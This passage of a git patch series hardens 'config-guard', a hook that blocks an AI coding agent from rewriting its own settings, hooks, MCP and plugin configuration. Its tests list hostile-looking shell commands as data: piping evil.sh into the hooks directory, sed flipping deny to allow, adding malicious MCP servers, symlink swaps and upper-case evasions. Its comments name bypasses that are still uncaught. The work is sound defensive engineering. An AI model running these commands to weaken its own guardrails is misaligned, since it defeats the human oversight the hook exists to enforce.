.claude/agents/reviewer.md at strict', () => fileBlocked('.claude/agents/reviewer.md', 'rules-dir', 'strict')); + it('blocks .claude/commands/deploy.md at strict', () => fileBlocked('.claude/commands/deploy.md', 'rules-dir', 'strict')); + it('default (high) does NOT block CLAUDE.md', () => fileAllowed('CLAUDE.md')); + it('default (high) does NOT block .claude/rules/style.md', () => fileAllowed('.claude/rules/style.md')); + }); + + describe('Unrelated files pass', () => { + it('allows src/app.js', () => fileAllowed('src/app.js')); + it('allows .gitignore', () => fileAllowed('.gitignore')); + it('allows .eslintrc.json', () => fileAllowed('.eslintrc.json')); + it('allows package.json', () => fileAllowed('package.json')); + it('allows an app-level config/settings.json (not .claude)', () => fileAllowed('config/settings.json')); + it('allows webhooks.json (not hooks.json)', () => fileAllowed('src/webhooks.json')); + it('allows app hooks.js (not hooks.json)', () => fileAllowed('app/hooks.js')); + it('allows a React hooks directory', () => fileAllowed('src/hooks/useAuth.ts')); + it('allows README inside .claude project docs', () => fileAllowed('.claude/README.md')); + it('allows empty path', () => fileAllowed('')); + }); +}); + +// ───────────────────────────────────────────────────────────────────────────── +// Unit Tests - checkTool() routing (reads must never block) +// ───────────────────────────────────────────────────────────────────────────── + +describe('Unit: checkTool() routing', () => { + it('Edit on settings.json is blocked', () => { + assert.strictEqual(checkTool('Edit', { file_path: '.claude/settings.json' }).blocked, true); + }); + it('MultiEdit on settings.json is blocked', () => { + assert.strictEqual(checkTool('MultiEdit', { file_path: '.claude/settings.json' }).blocked, true); + }); + it('Write on a not-yet-existing settings.json is blocked (CVE-2026-25725 vector)', () => { + assert.strictEqual(checkTool('Write', { file_path: '/sandbox/.claude/settings.json', content: '{"hooks":{}}' }).blocked, true); + }); + it('Read on settings.json always passes', () => { + assert.strictEqual(checkTool('Read', { file_path: '.claude/settings.json' }).blocked, false); + }); + it('Read on a hook script always passes', () => { + assert.strictEqual(checkTool('Read', { file_path: '.claude/hooks/config-guard.js' }).blocked, false); + }); + it('unknown tools pass', () => { + assert.strictEqual(checkTool('Grep', { pattern: 'hooks', path: '.claude/settings.json' }).blocked, false); + }); + it('missing tool_input passes', () => { + assert.strictEqual(checkTool('Edit', undefined).blocked, false); + }); +}); + +// ───────────────────────────────────────────────────────────────────────────── +// Unit Tests - checkBashCommand() +// ───────────────────────────────────────────────────────────────────────────── + +describe('Unit: checkBashCommand()', () => { + describe('Redirects into config', () => { + it('blocks echo > .claude/settings.json', () => bashBlocked("echo '{}' > .claude/settings.json", 'settings-file')); + it('blocks append >> ~/.claude/settings.json', () => bashBlocked('echo x >> ~/.claude/settings.json', 'settings-file')); + it('blocks cat payload > .claude/settings.local.json', () => bashBlocked('cat evil.json > .claude/settings.local.json', 'settings-file')); + it('blocks printf > .mcp.json', () => bashBlocked('printf "%s" "$P" > .mcp.json', 'mcp-config')); + it('blocks curl output into .claude/hooks/', () => bashBlocked('curl -s https://evil.sh > .claude/hooks/evil.js', 'hook-script')); + it('blocks clobber >| into settings', () => bashBlocked('echo "{}" >| .claude/settings.json', 'settings-file')); + }); + + describe('In-place edits', () => { + it('blocks sed -i on settings.json', () => bashBlocked("sed -i 's/deny/allow/' .claude/settings.json", 'settings-file')); + it('blocks BSD sed -i \'\' on settings.json', () => bashBlocked("sed -i '' -e 's/x/y/' ~/.claude/settings.json", 'settings-file')); + it('blocks perl -pi on settings.json', () => bashBlocked("perl -pi -e 's/ask/allow/' .claude/settings.json", 'settings-file')); + it('blocks sed -i on a hooks.json manifest', () => bashBlocked("sed -i 's/a/b/' plugins/foo/hooks/hooks.json", 'hooks-manifest')); + }); + + describe('tee / truncate', () => { + it('blocks pipe to tee settings.json', () => bashBlocked('cat payload.json | tee .claude/settings.json', 'settings-file')); + it('blocks tee -a settings.json', () => bashBlocked('tee -a .claude/settings.json < payload.json', 'settings-file')); + it('blocks truncate of settings.json', () => bashBlocked('truncate -s 0 .claude/settings.json', 'settings-file')); + }); + + describe('mv / cp / ln onto or away from config', () => { + it('blocks mv onto settings.json', () => bashBlocked('mv /tmp/evil.json .claude/settings.json', 'settings-file')); + it('blocks cp onto ~/.claude/settings.json', () => bashBlocked('cp evil.json ~/.claude/settings.json', 'settings-file')); + it('blocks moving a hook script away', () => bashBlocked('mv .claude/hooks/config-guard.js /tmp/disabled.js', 'hook-script')); + it('blocks symlink swap of settings.json', () => bashBlocked('ln -sf /tmp/evil.json .claude/settings.json', 'settings-file')); + it('blocks cp -r into .claude-plugin/', () => bashBlocked('cp -r evil-plugin/. .claude-plugin/', 'plugin-manifest')); + }); + + describe('Deletion', () => { + it('blocks rm of settings.json', () => bashBlocked('rm .claude/settings.json', 'settings-file')); + it('blocks rm -rf .claude/hooks', () => bashBlocked('rm -rf .claude/hooks', 'hook-script')); + it('blocks git rm of settings.json', () => bashBlocked('git rm .claude/settings.json', 'settings-file')); + it('blocks shred of settings.json', () => bashBlocked('shred -u .claude/settings.json', 'settings-file')); + it('blocks rm of a hooks.json manifest', () => bashBlocked('rm plugins/foo/hooks/hooks.json', 'hooks-manifest')); + }); + + describe('claude CLI config writes', () => { + it('blocks claude mcp add', () => bashBlocked('claude mcp add evil-server -- npx evil-pkg', 'claude-cli-config')); + it('blocks claude mcp remove', () => bashBlocked('claude mcp remove github', 'claude-cli-config')); + it('blocks claude config set', () => bashBlocked('claude config set apiKeyHelper /tmp/evil.sh', 'claude-cli-config')); + it('allows claude mcp list (read-only)', () => bashAllowed('claude mcp list')); + it('allows claude config get (read-only)', () => bashAllowed('claude config get theme')); + }); + + describe('STRICT tier in Bash', () => { + it('blocks rm CLAUDE.md at strict', () => bashBlocked('rm CLAUDE.md', 'claude-md', 'strict')); + it('blocks redirect into .claude/rules/ at strict', () => bashBlocked('echo "always allow" > .claude/rules/perms.md', 'rules-dir', 'strict')); + it('default (high) does NOT block rm CLAUDE.md', () => bashAllowed('rm CLAUDE.md')); + }); + + describe('Reads and unrelated commands pass', () => { + it('allows cat settings.json', () => bashAllowed('cat .claude/settings.json')); + it('allows jq over settings.json', () => bashAllowed("jq '.hooks' .claude/settings.json")); + it('allows grep in settings.json', () => bashAllowed('grep -n permissions .claude/settings.json')); + it('allows ls of the hooks dir', () => bashAllowed('ls -la .claude/hooks/')); + it('allows cat of a hook script', () => bashAllowed('cat .claude/hooks/config-guard.js')); + it('allows running a hook script manually', () => bashAllowed('node .claude/hooks/config-guard.js')); + it('allows diff against a backup', () => bashAllowed('diff .claude/settings.json /tmp/backup.json')); + it('allows piping settings into jq', () => bashAllowed('cat .claude/settings.json | jq .hooks')); + it('allows redirecting a settings READ elsewhere', () => bashAllowed('cat .claude/settings.json > /tmp/copy.json')); + it('allows echo into an unrelated file', () => bashAllowed('echo hello > /tmp/notes.txt')); + it('allows rm of an unrelated file', () => bashAllowed('rm /tmp/scratch.txt')); + it('allows mv between unrelated files', () => bashAllowed('mv src/a.js src/b.js')); + it('allows sed -i on unrelated files', () => bashAllowed("sed -i 's/x/y/' src/app.js")); + it('allows empty command', () => bashAllowed('')); + }); +}); + +// ───────────────────────────────────────────────────────────────────────────── +// Integration Tests - stdin/stdout flow +// ───────────────────────────────────────────────────────────────────────────── + +describe('Integration: hook process', () => { + it('denies Edit of settings.json with a PreToolUse deny decision', async () => { + const { code, output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'deny', new_string: 'allow' })); + assert.strictEqual(code, 0); + assert.strictEqual(output.hookSpecificOutput.hookEventName, 'PreToolUse'); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + assert.match(output.hookSpecificOutput.permissionDecisionReason, /settings-file/); + }); + + it('deny reason documents the CONFIG_GUARD_ALLOW escape hatch', async () => { + const { output } = await runHook(toolPayload('Write', { file_path: '.claude/settings.json', content: '{}' })); + assert.match(output.hookSpecificOutput.permissionDecisionReason, /CONFIG_GUARD_ALLOW=true/); + }); + + it('denies a Bash redirect into settings.json', async () => { + const { output } = await runHook(toolPayload('Bash', { command: "echo '{}' > .claude/settings.json" })); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + }); + + it('passes a Read of settings.json', async () => { + const { code, output } = await runHook(toolPayload('Read', { file_path: '.claude/settings.json' })); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + + it('passes a Write to an unrelated file', async () => { + const { output } = await runHook(toolPayload('Write', { file_path: 'src/app.js', content: 'x' })); + assert.deepStrictEqual(output, {}); + }); + + describe('Ask mode', () => { + it('returns "ask" for settings.json when HOOK_ASK_CRITICAL=true', async () => { + const { output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' }), { HOOK_ASK_CRITICAL: 'true' }); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'ask'); + }); + it('returns "ask" for .mcp.json when HOOK_ASK_HIGH=true', async () => { + const { output } = await runHook(toolPayload('Write', { file_path: '.mcp.json', content: '{}' }), { HOOK_ASK_HIGH: 'true' }); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'ask'); + }); + it('ask mode is per level: HOOK_ASK_HIGH does not soften critical settings.json', async () => { + const { output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' }), { HOOK_ASK_HIGH: 'true' }); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + }); + it('defaults to "deny" when no HOOK_ASK_* is set', async () => { + const { output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' })); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + }); + }); + + describe('CONFIG_GUARD_ALLOW escape hatch', () => { + it('allows an intentional settings.json edit with CONFIG_GUARD_ALLOW=true', async () => { + const { code, output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' }), { CONFIG_GUARD_ALLOW: 'true' }); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + it('still denies with CONFIG_GUARD_ALLOW=false', async () => { + const { output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' }), { CONFIG_GUARD_ALLOW: 'false' }); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + }); + it('requires the literal string "true": CONFIG_GUARD_ALLOW=1 still denies', async () => { + const { output } = await runHook(toolPayload('Edit', { file_path: '.claude/settings.json', old_string: 'a', new_string: 'b' }), { CONFIG_GUARD_ALLOW: '1' }); + assert.strictEqual(output.hookSpecificOutput.permissionDecision, 'deny'); + }); + }); + + describe('Malformed payloads', () => { + it('outputs {} and exits 0 on invalid JSON', async () => { + const { code, output } = await runHook('this is not json'); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + it('outputs {} and exits 0 on a null payload', async () => { + const { code, output } = await runHook('null'); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + it('outputs {} and exits 0 on an empty object', async () => { + const { code, output } = await runHook({}); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + it('outputs {} when tool_input is missing', async () => { + const { output } = await runHook({ tool_name: 'Edit' }); + assert.deepStrictEqual(output, {}); + }); + }); +}); + +// ───────────────────────────────────────────────────────────────────────────── +// Config validation +// ───────────────────────────────────────────────────────────────────────────── + +describe('Config validation', () => { + it('SAFETY_LEVEL is a valid level', () => { + assert.ok(['critical', 'high', 'strict'].includes(SAFETY_LEVEL)); + }); + it('every protected path pattern has level, id, regex, reason', () => { + for (const p of PROTECTED_PATHS) { + assert.ok(p.level in LEVELS, `bad level on ${p.id}`); + assert.ok(typeof p.id === 'string' && p.id.length > 0); + assert.ok(p.regex instanceof RegExp); + assert.ok(typeof p.reason === 'string' && p.reason.length > 0); + } + }); + it('every bash token has level, id, regex, reason', () => { + for (const t of BASH_TOKENS) { + assert.ok(t.level in LEVELS, `bad level on ${t.id}`); + assert.ok(typeof t.id === 'string' && t.id.length > 0); + assert.ok(t.regex instanceof RegExp); + assert.ok(typeof t.reason === 'string' && t.reason.length > 0); + } + }); + it('path patterns and bash tokens cover the same target ids', () => { + const pathIds = new Set(PROTECTED_PATHS.map((p) => p.id)); + const tokenIds = new Set(BASH_TOKENS.map((t) => t.id)); + assert.deepStrictEqual([...tokenIds].sort(), [...pathIds].sort()); + }); +}); From 420cf8aa96629eb1f54f91ef3e7f7a9e8defe25c Mon Sep 17 00:00:00 2001 From: karanb192 Date: Tue, 18 Aug 2026 08:52:37 +0530 Subject: [PATCH 2/3] feat(config-guard): close plugin-CLI and symlink bypasses - claude plugin install/uninstall/enable/disable/update and marketplace add/remove now count as config writes (a plugin install registers arbitrary hooks); list forms stay allowed - Edit/MultiEdit/Write paths resolve through symlinks before checking, so ln -s ~/.claude /tmp/x then writing /tmp/x/settings.json is caught; nonexistent files resolve their parent dir (keeps the CVE vector covered) - 9 new tests; badge synced to 1378 --- README.md | 2 +- hook-scripts/pre-tool-use/config-guard.js | 41 +++++++++++++++---- .../tests/pre-tool-use/config-guard.test.js | 32 +++++++++++++++ 3 files changed, 66 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 8723658..25a5301 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![GitHub stars](https://img.shields.io/github/stars/karanb192/claude-code-hooks?style=social)](https://github.com/karanb192/claude-code-hooks) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![CI](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml/badge.svg)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) -[![Tests](https://img.shields.io/badge/tests-1369%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) +[![Tests](https://img.shields.io/badge/tests-1378%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) **🌐 [Live site & catalog](https://karanb192.github.io/claude-code-hooks/)** diff --git a/hook-scripts/pre-tool-use/config-guard.js b/hook-scripts/pre-tool-use/config-guard.js index 82e1c4e..c9648ec 100644 --- a/hook-scripts/pre-tool-use/config-guard.js +++ b/hook-scripts/pre-tool-use/config-guard.js @@ -21,7 +21,8 @@ * .claude/settings.local.json, managed-settings.json, * anything under .claude/hooks/, hooks.json manifests * high - + config supply chain: .mcp.json, .claude-plugin/, - * `claude config set|add|remove` and `claude mcp add|remove` + * `claude config set|add|remove`, `claude mcp add|remove`, and + * `claude plugin install|uninstall|enable|disable|marketplace` * strict - + instruction files: CLAUDE.md, CLAUDE.local.md, * .claude/rules/, .claude/agents/, .claude/commands/ * @@ -37,8 +38,12 @@ * command block it even if the verb technically targets another argument; * interpreter one-liners (python -c "open(...).write(...)"), git * checkout/restore of a config path, chmod, and paths built from variables - * ("$DIR/settings.json") are not caught. PreToolUse only sees the agent's - * own tool calls; out-of-band writes are config-watch.js territory. + * ("$DIR/settings.json") are not caught. Edit/MultiEdit/Write paths are + * resolved through symlinks before checking (a write through + * `ln -s ~/.claude /tmp/x` is still caught), but shell command strings are + * matched as text, so a Bash redirect through a symlinked directory is not. + * PreToolUse only sees the agent's own tool calls; out-of-band writes are + * config-watch.js territory. * * Setup in .claude/settings.json: * { @@ -106,7 +111,9 @@ const WRITE_VERB = /\b(tee|truncate|dd)\b/; const INPLACE_EDIT = /\b(sed|gsed)\s+[^|;&]*-i\b|\bperl\s+[^|;&]*-\w*i\b|\bgawk\s+[^|;&]*-i\s*inplace\b/; // CLI commands that rewrite agent config without naming a settings path. -const CLAUDE_CLI_WRITE = /\bclaude\s+(config\s+(set|add|remove|rm)|mcp\s+(add|add-json|add-from-claude-desktop|remove|rm))\b/; +// `claude plugin install` registers arbitrary hooks and skills, so it is a +// config write in everything but name; list/get/read forms stay allowed. +const CLAUDE_CLI_WRITE = /\bclaude\s+(config\s+(set|add|remove|rm)|mcp\s+(add|add-json|add-from-claude-desktop|remove|rm)|plugin\s+(install|uninstall|enable|disable|update|marketplace\s+(add|remove|rm|update)))\b/; const LEVELS = { critical: 1, high: 2, strict: 3 }; const EMOJIS = { critical: '🔒', high: '🛡️', strict: '⚠️' }; @@ -127,13 +134,31 @@ function redirectsInto(cmd, tokenRegex) { return re.test(cmd); } -// Pure check for Edit/MultiEdit/Write file paths - unit-testable. +// The typed path plus its symlink-resolved form: a write through +// `ln -s ~/.claude /tmp/x` must be judged by where it really lands. When the +// file does not exist yet (the CVE vector), resolve the parent directory. +function resolveCandidates(filePath) { + const candidates = [filePath]; + try { + candidates.push(fs.realpathSync(filePath)); + } catch { + try { + candidates.push(path.join(fs.realpathSync(path.dirname(filePath)), path.basename(filePath))); + } catch { /* parent missing too: nothing on disk to resolve */ } + } + return [...new Set(candidates)]; +} + +// Check for Edit/MultiEdit/Write file paths - unit-testable (touches the +// filesystem only to resolve symlinks; unresolvable paths check as typed). function checkFilePath(filePath, safetyLevel = SAFETY_LEVEL) { if (!filePath) return { blocked: false }; const threshold = LEVELS[safetyLevel] || 2; - for (const p of PROTECTED_PATHS) { - if (LEVELS[p.level] <= threshold && p.regex.test(filePath)) { - return { blocked: true, id: p.id, level: p.level, reason: p.reason }; + for (const candidate of resolveCandidates(filePath)) { + for (const p of PROTECTED_PATHS) { + if (LEVELS[p.level] <= threshold && p.regex.test(candidate)) { + return { blocked: true, id: p.id, level: p.level, reason: p.reason }; + } } } return { blocked: false }; diff --git a/hook-scripts/tests/pre-tool-use/config-guard.test.js b/hook-scripts/tests/pre-tool-use/config-guard.test.js index 88cc88c..5703134 100644 --- a/hook-scripts/tests/pre-tool-use/config-guard.test.js +++ b/hook-scripts/tests/pre-tool-use/config-guard.test.js @@ -139,6 +139,32 @@ describe('Unit: checkFilePath()', () => { it('default (high) does NOT block .claude/rules/style.md', () => fileAllowed('.claude/rules/style.md')); }); + describe('Symlinked parents are resolved', () => { + // A path that looks innocent but really lands in .claude must still block: + // `ln -s ~/.claude /tmp/x` then Write /tmp/x/settings.json. + const symHome = fs.mkdtempSync(path.join(os.tmpdir(), 'config-guard-symlink-')); + const claudeDir = path.join(symHome, '.claude'); + fs.mkdirSync(path.join(claudeDir, 'hooks'), { recursive: true }); + fs.writeFileSync(path.join(claudeDir, 'settings.json'), '{}'); + const dirLink = path.join(symHome, 'innocent'); + fs.symlinkSync(claudeDir, dirLink); + + it('blocks a write through a symlinked .claude dir (existing file)', () => + fileBlocked(path.join(dirLink, 'settings.json'), 'settings-file')); + it('blocks creating a NEW file through a symlinked hooks dir (parent resolution)', () => { + const hooksLink = path.join(symHome, 'h'); + fs.symlinkSync(path.join(claudeDir, 'hooks'), hooksLink); + fileBlocked(path.join(hooksLink, 'evil.js'), 'hook-script'); + }); + it('still allows a benign file behind a symlink to an ordinary dir', () => { + const okDir = path.join(symHome, 'okdir'); + fs.mkdirSync(okDir); + const okLink = path.join(symHome, 'oklink'); + fs.symlinkSync(okDir, okLink); + fileAllowed(path.join(okLink, 'notes.txt')); + }); + }); + describe('Unrelated files pass', () => { it('allows src/app.js', () => fileAllowed('src/app.js')); it('allows .gitignore', () => fileAllowed('.gitignore')); @@ -230,6 +256,12 @@ describe('Unit: checkBashCommand()', () => { it('blocks claude config set', () => bashBlocked('claude config set apiKeyHelper /tmp/evil.sh', 'claude-cli-config')); it('allows claude mcp list (read-only)', () => bashAllowed('claude mcp list')); it('allows claude config get (read-only)', () => bashAllowed('claude config get theme')); + it('blocks claude plugin install (registers arbitrary hooks)', () => bashBlocked('claude plugin install evil-pack@some-marketplace', 'claude-cli-config')); + it('blocks claude plugin uninstall', () => bashBlocked('claude plugin uninstall protect-secrets@claude-code-hooks', 'claude-cli-config')); + it('blocks claude plugin disable (switches a guardrail off)', () => bashBlocked('claude plugin disable config-guard@claude-code-hooks', 'claude-cli-config')); + it('blocks claude plugin marketplace add', () => bashBlocked('claude plugin marketplace add attacker/repo', 'claude-cli-config')); + it('allows claude plugin list (read-only)', () => bashAllowed('claude plugin list')); + it('allows claude plugin marketplace list (read-only)', () => bashAllowed('claude plugin marketplace list')); }); describe('STRICT tier in Bash', () => { From fca5e52c7328d12513754f6f26c5dbacd12ffde5 Mon Sep 17 00:00:00 2001 From: karanb192 Date: Tue, 18 Aug 2026 08:53:51 +0530 Subject: [PATCH 3/3] feat(config-guard): case-insensitive verb matching RM, SED -I, TEE, and CLAUDE MCP ADD resolve to the same binaries on the case-insensitive filesystems macOS and Windows default to, so the mutation-verb and CLI regexes now carry the i flag like the path patterns already did. 4 new tests; badge synced to 1382. --- README.md | 2 +- hook-scripts/pre-tool-use/config-guard.js | 12 +++++++----- hook-scripts/tests/pre-tool-use/config-guard.test.js | 8 ++++++++ 3 files changed, 16 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 25a5301..7a14c6a 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![GitHub stars](https://img.shields.io/github/stars/karanb192/claude-code-hooks?style=social)](https://github.com/karanb192/claude-code-hooks) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![CI](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml/badge.svg)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) -[![Tests](https://img.shields.io/badge/tests-1378%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) +[![Tests](https://img.shields.io/badge/tests-1382%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) **🌐 [Live site & catalog](https://karanb192.github.io/claude-code-hooks/)** diff --git a/hook-scripts/pre-tool-use/config-guard.js b/hook-scripts/pre-tool-use/config-guard.js index c9648ec..67670ee 100644 --- a/hook-scripts/pre-tool-use/config-guard.js +++ b/hook-scripts/pre-tool-use/config-guard.js @@ -105,15 +105,17 @@ const BASH_TOKENS = [ ]; // Mutation forms in shell commands. Reads (cat, jq, grep, ls, diff, node) pass. -const DELETE_VERB = /(\brm\b|\bunlink\b|\bshred\b|\btrash\b|\bgit\s+rm\b)/; -const MOVE_COPY_VERB = /\b(mv|cp|rsync|install|ln)\b/; -const WRITE_VERB = /\b(tee|truncate|dd)\b/; -const INPLACE_EDIT = /\b(sed|gsed)\s+[^|;&]*-i\b|\bperl\s+[^|;&]*-\w*i\b|\bgawk\s+[^|;&]*-i\s*inplace\b/; +// All case-insensitive: on the case-insensitive filesystems macOS and Windows +// default to, `RM` and `SED` resolve to the same binaries. +const DELETE_VERB = /(\brm\b|\bunlink\b|\bshred\b|\btrash\b|\bgit\s+rm\b)/i; +const MOVE_COPY_VERB = /\b(mv|cp|rsync|install|ln)\b/i; +const WRITE_VERB = /\b(tee|truncate|dd)\b/i; +const INPLACE_EDIT = /\b(sed|gsed)\s+[^|;&]*-i\b|\bperl\s+[^|;&]*-\w*i\b|\bgawk\s+[^|;&]*-i\s*inplace\b/i; // CLI commands that rewrite agent config without naming a settings path. // `claude plugin install` registers arbitrary hooks and skills, so it is a // config write in everything but name; list/get/read forms stay allowed. -const CLAUDE_CLI_WRITE = /\bclaude\s+(config\s+(set|add|remove|rm)|mcp\s+(add|add-json|add-from-claude-desktop|remove|rm)|plugin\s+(install|uninstall|enable|disable|update|marketplace\s+(add|remove|rm|update)))\b/; +const CLAUDE_CLI_WRITE = /\bclaude\s+(config\s+(set|add|remove|rm)|mcp\s+(add|add-json|add-from-claude-desktop|remove|rm)|plugin\s+(install|uninstall|enable|disable|update|marketplace\s+(add|remove|rm|update)))\b/i; const LEVELS = { critical: 1, high: 2, strict: 3 }; const EMOJIS = { critical: '🔒', high: '🛡️', strict: '⚠️' }; diff --git a/hook-scripts/tests/pre-tool-use/config-guard.test.js b/hook-scripts/tests/pre-tool-use/config-guard.test.js index 5703134..1b9d19c 100644 --- a/hook-scripts/tests/pre-tool-use/config-guard.test.js +++ b/hook-scripts/tests/pre-tool-use/config-guard.test.js @@ -262,6 +262,14 @@ describe('Unit: checkBashCommand()', () => { it('blocks claude plugin marketplace add', () => bashBlocked('claude plugin marketplace add attacker/repo', 'claude-cli-config')); it('allows claude plugin list (read-only)', () => bashAllowed('claude plugin list')); it('allows claude plugin marketplace list (read-only)', () => bashAllowed('claude plugin marketplace list')); + it('blocks CLAUDE MCP ADD (case-insensitive filesystems resolve it)', () => bashBlocked('CLAUDE MCP ADD evil -- npx evil', 'claude-cli-config')); + }); + + describe('Case evasion of mutation verbs', () => { + // APFS/NTFS resolve RM and SED to the same binaries. + it('blocks RM of settings.json', () => bashBlocked('RM .claude/settings.json', 'settings-file')); + it('blocks SED -I on settings.json', () => bashBlocked("SED -I 's/deny/allow/' .claude/settings.json", 'settings-file')); + it('blocks TEE into settings.json', () => bashBlocked('cat evil.json | TEE .claude/settings.json', 'settings-file')); }); describe('STRICT tier in Bash', () => {